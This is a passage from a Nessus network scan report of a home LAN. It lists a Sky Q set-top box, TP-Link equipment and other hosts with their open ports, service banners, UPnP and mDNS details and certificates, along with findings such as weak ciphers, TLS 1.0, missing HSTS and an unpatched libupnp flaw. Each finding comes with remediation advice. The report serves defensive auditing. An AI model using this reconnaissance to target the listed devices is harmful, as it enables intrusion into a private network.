  remote web server.		n/a				The remote web server type is :

AirTunes/211.1										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.27		tcp		9006		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Sky										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.27		tcp		9091		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

WebSocket++/0.4.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10287						None		192.168.0.27		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.27 : 
192.168.0.35
192.168.0.27

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.27		tcp		9080		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				
Unfortunately, Nessus has been unable to find a way to recognize this
page so some CGI-related checks have been disabled.
										None								4/28/00		6/12/20

		10884						None		192.168.0.27		udp		123		Network Time Protocol (NTP) Server Detection		An NTP server is listening on the remote host.		An NTP server is listening on port 123. If not securely configured,
it may provide information about its version, current date, current
time, and possibly system information.		n/a		http://www.ntp.org		
  An NTP service has been discovered, listening on port 123.

  No sensitive information has been disclosed.

  Version : unknown
										None				IAVT:0001-T-0934				3/20/15		9/22/20

		11153						None		192.168.0.27		tcp		4545		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				AIX Global ODM (a component from HACMP) is running on this port.										None								11/18/02		11/26/18

		11153						None		192.168.0.27		tcp		9091		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.										None								11/18/02		11/26/18

		11219						None		192.168.0.27		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		1234		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1234/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		4545		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4545/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		5000		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5000/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		8008		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8008/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		8080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		8123		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8123/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		9006		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9006/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		9091		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9091/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.27		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

NTP:!:unknown
SinFP:
   P1:B11013:F0x12:W14600:O0204ffff:M1446:
   P2:B11013:F0x12:W14480:O0204ffff0402080affffffff4445414401030307:M1446:
   P3:B00000:F0x00:W0:O0:M0
   P4:181102_7_p=8123
HTTP:!:Server: Sky



 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		19506						None		192.168.0.27		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 656 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.27		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		5000		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		8080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		9006		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		9080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.27		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : OPTIONS, GET, HEAD, POST
Headers :

  Content-Length: 0
  Date: 
  Server: Sky
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		5000		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Length: 0
  Server: AirTunes/211.1
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		9006		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: application/json
  Connection: close
  Server: Sky
  Content-Length: 169
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		9080		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Access-Control-Allow-Origin: *
  Cache: no-cache
  Content-Type: application/json
  Connection: close
  Content-Length: 9
  Date: Thu Nov  5 18:16:27 2020
  
Response Body :

status=ok										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		9091		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 426 Upgrade Required


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: WebSocket++/0.4.0
  
Response Body :

										None								1/30/07		11/22/19

		25220						None		192.168.0.27		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.27		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.27:9080
    http://192.168.0.27:49153/description3.xml
    http://192.168.0.27:49153/description1.xml

And advertises these unique service names :

    uuid:SKUSKYFV2=00000000000000001000000000028367::upnp:rootdevice
    uuid:SKUSKYFV2=00000000000000001000000000028367::urn:schemas-upnp-org:device:mdxdevice:1
    uuid:SKUSKYFV2=00000000000000001000000000028367::urn:mdx-netflix-com:service:target:3
    uuid:55443176-3147-4761-7465-2047ed7bccb2::upnp:rootdevice
    uuid:55443176-3147-4761-7465-2047ed7bccb2::urn:schemas-nds-com:device:GatewaySkyPairing:1
    uuid:55443176-3147-4761-7465-2047ed7bccb2::urn:schemas-nds-com:service:SkyPairing:1
    uuid:444D5276-3247-4761-7465-2047ed7bccb2::upnp:rootdevice
    uuid:444D5276-3247-4761-7465-2047ed7bccb2::urn:schemas-nds-com:device:GatewaySkyControl:2
    uuid:444D5276-3247-4761-7465-2047ed7bccb2::urn:schemas-nds-com:service:SkyPlay:2

										None								2/19/09		9/12/18

		35716						None		192.168.0.27		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

20:47:ED:7B:CC:B2 : BSkyB Ltd
										None								2/19/09		5/13/20

		45590						None		192.168.0.27		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		42873		CVE-2016-2183		5		Medium		192.168.0.26		tcp		443		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		54615						None		192.168.0.27		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		42873		CVE-2016-2183		5		Medium		192.168.0.28		tcp		443		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		51192				6.4		Medium		192.168.0.1		tcp		4567		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=US/O=Circle Media Inc/CN=localhost
|-Issuer  : C=US/O=Circle Media Inc/CN=localhost
				6.5						Medium								12/15/10		4/27/20

		51192				6.4		Medium		192.168.0.1		tcp		8890		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=US/O=Circle Media Inc./CN=Circle002
|-Issuer  : C=US/O=Circle Media Inc/CN=Circle Root CA 1
				6.5						Medium								12/15/10		4/27/20

		84502				5.8		Medium		192.168.0.1		tcp		4567		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		84502				5.8		Medium		192.168.0.1		tcp		8890		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		104743				6.1		Medium		192.168.0.1		tcp		4567		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		104743				6.1		Medium		192.168.0.1		tcp		8890		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		51192				6.4		Medium		192.168.0.20		tcp		443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=CN/CN=TP-Link
|-Issuer  : C=CN/CN=TP-Link
				6.5						Medium								12/15/10		4/27/20

		66334						None		192.168.0.27		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE (64394) ]

+ Action to take : Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a third party library by a different application, contact the vendor of that application for a fix.


										None								7/8/13		10/16/20

		66717						None		192.168.0.27		udp		5353		mDNS Detection (Local Network)		It is possible to obtain information about the remote host.		The remote service understands the Bonjour (also known as ZeroConf or
mDNS) protocol, which allows anyone to uncover information from the
remote host such as its operating system type and exact version, its
hostname, and the list of services it is running. 

This plugin attempts to discover mDNS used by hosts residing on the same
network segment as Nessus.		Filter incoming traffic to UDP port 5353, if desired.				Nessus was able to extract the following information :

  - mDNS hostname       : skyq-2.local.

  - Advertised services :
    o Service name      : SkyQ_Livingroom._http._tcp.local.
      Port number       : 13579
    o Service name      : SkyQ_Livingroom._airplay._tcp.local.
      Port number       : 5000
    o Service name      : 2047ED7BCCB2@SkyQ_Livingroom._raop._tcp.local.
      Port number       : 5000

										None								5/31/13		5/31/13

		86420						None		192.168.0.27		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 20:47:ED:7B:CC:B2
										None								10/16/15		5/13/20

		10114		CVE-1999-0524		0		None		192.168.0.28		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.28		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2015.67
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.28		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.28 : 
192.168.0.35
192.168.0.28

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.28		tcp		443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: CN
Common Name: TP-Link

Issuer Name: 

Country: CN
Common Name: TP-Link

Serial Number: 00 D1 21 F9 86 A5 53 A4 05 

Version: 1

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Jul 03 10:51:22 2020 GMT
Not Valid After: Jul 02 10:51:22 2025 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 AA F6 4A F9 5B 20 83 BD 97 F3 2F 73 F8 E5 F3 3C 66 EA 79 
            12 B1 15 AE 40 51 E4 BC C5 90 0F 2B 13 95 F9 82 35 BF D2 84 
            31 32 68 D1 E6 E7 E4 D8 2C F8 AB 2D 52 BF 08 49 09 2D 2D D3 
            26 21 07 B7 1B 77 3E 67 8B B0 2D 49 58 A7 4C D9 5A D3 33 56 
            3E 48 57 E8 4D F8 A8 36 D7 C7 1F 70 62 76 15 C7 DD BB 13 52 
            C8 D5 D5 5B E0 F8 26 A2 75 AA 4F F7 B5 04 45 97 F6 73 2F E0 
            16 70 99 04 0F 01 BD 31 87 
Exponent: 01 00 01 

Signature Length: 128 bytes / 1024 bits
Signature: 00 5B 61 BB 68 8D D3 7A 5F 00 F1 9E 11 B5 A0 92 6F A7 45 31 
           4C 81 28 05 5C 27 31 CA 41 18 22 B6 43 03 FA D7 D9 F8 2C DD 
           0E A5 3D EB F3 9B D4 44 53 2C 21 13 D4 73 40 EE 8A D7 FB 36 
           BE D9 14 CB E7 12 65 B0 EC DA C3 45 5F FC AE D7 DF 57 CC 2F 
           A7 C0 36 9B 12 DA 8B 70 27 8E 54 B3 ED 3A 22 BB 37 18 B4 DA 
           FB A6 04 FD 96 7E 09 13 98 02 A5 FC E7 FC 34 65 CF 2C A9 F7 
           F4 19 37 A2 81 0F C3 95 05 

Fingerprints : 

SHA-256 Fingerprint: 52 2B 32 A0 94 93 59 98 7D BE B3 FF 7A 5D A2 79 24 24 83 DA 
                     6D 05 2B 43 26 29 5D E0 2E 83 4E BA 
SHA-1 Fingerprint: FA AB 25 4C 78 EE E7 1E 5B 72 BA 4A 73 D2 F1 10 4A DE C8 B4 
MD5 Fingerprint: 4E F0 E0 3E 16 D3 57 FD CC 79 C2 91 63 37 81 79 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11219						None		192.168.0.28		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
